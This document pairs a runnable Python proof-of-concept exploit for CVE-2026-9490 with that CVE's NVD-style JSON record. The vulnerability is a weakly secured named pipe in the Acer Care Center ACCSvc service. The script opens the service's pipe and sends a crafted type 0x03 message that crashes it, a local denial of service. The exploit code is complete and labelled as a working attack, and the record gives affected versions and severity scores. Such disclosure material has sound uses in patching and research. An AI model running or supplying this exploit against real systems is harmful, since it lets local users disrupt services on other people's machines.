CVE-2026-9490

import ctypes import time import struct # Windows API imports kernel32 = ctypes.windll.kernel32 PIPE_ACCESS_DUPLEX = 0x3 PIPE_TYPE_MESSAGE = 0x4 PIPE_READMODE_MESSAGE = 0x2 PIPE_WAIT = 0x0 INVALID_HANDLE_VALUE = -1 ERROR_PIPE_BUSY = 231 BUFSIZE = 4096 # Define the message type 0x03 that triggers the crash MESSAGE_TYPE_TRIGGER = 0x03 def connect_to_pipe(pipe_name): """Connect to the named pipe""" pipe = kernel32.CreateFileW( pipe_name, 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0, # No sharing None, # Default security 2, # OPEN_EXISTING 0x40000000, # FILE_FLAG_OVERLAPPED None # No template file ) return pipe def send_malicious_message(pipe_handle): """Send a crafted message with type 0x03 to trigger crash""" # Construct the malicious message # Message structure: [Type (4 bytes)][Size (4 bytes)][Payload] message_type = struct.pack('<I', MESSAGE_TYPE_TRIGGER) payload = b'\x41' * 100 # Arbitrary payload message_size = struct.pack('<I', len(payload)) message = message_type + message_size + payload bytes_written = ctypes.c_ulong(0) result = kernel32.WriteFile( pipe_handle, message, len(message), ctypes.byref(bytes_written), None ) return result, bytes_written.value def exploit_ac_csvc(): """Main exploit function for CVE-2026-9490""" # Default Acer Care Center service pipe name pipe_name = r'\\.\pipe\ACCSvcPipe' print(f'[*] Attempting to connect to {pipe_name}') # Try to connect to the pipe pipe_handle = connect_to_pipe(pipe_name) if pipe_handle == INVALID_HANDLE_VALUE: error = kernel32.GetLastError() if error == ERROR_PIPE_BUSY: print('[-] Pipe is busy, waiting...') time.sleep(1) pipe_handle = connect_to_pipe(pipe_name) else: print(f'[-] Failed to connect to pipe. Error code: {error}') return False print('[+] Connected to pipe successfully') print('[*] Sending malicious message with type 0x03...') # Send the malicious message success, bytes_written = send_malicious_message(pipe_handle) if success: print(f'[+] Sent {bytes_written} bytes') print('[!] ACCSvc service should crash with exit code 1067') else: print(f'[-] Failed to send message. Error code: {kernel32.GetLastError()}') kernel32.CloseHandle(pipe_handle) return success if __name__ == '__main__': print('CVE-2026-9490 PoC - Acer Care Center ACCSvc Named Pipe DoS') print('=' * 60) exploit_ac_csvc()

{"cve": {"id": "CVE-2026-9490", "sourceIdentifier": "8fc372e3-d9c5-46e4-9410-38469745c639", "published": "2026-05-25T08:16:26.053", "lastModified": "2026-06-04T19:52:49.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been identified in Acer Care Center where the ACCSvc service creates a Named Pipe with a weak Security Descriptor. This vulnerability allows an authenticated local user to connect and send a specially crafted message (message type 0x03) to the pipe, causing the service to crash with exit code 1067 (ERROR_PROCESS_ABORTED). To mitigate this potential local service disruption, Acer requires users to update the software to the latest version."}], "metrics": {"cvssMetricV40": [{"source": "8fc372e3-d9c5-46e4-9410-38469745c639", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:M/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "8fc372e3-d9c5-46e4-9410-38469745c639", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:acer:care_center:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.00.3060", "matchCriteriaId": "4282D36C-6FA1-4C56-AD9D-A080A93EDECF"}]}]}], "references": [{"url": "https://community.acer.com/en/kb/articles/19668", "source": "8fc372e3-d9c5-46e4-9410-38469745c639", "tags": ["Vendor Advisory"]}]}}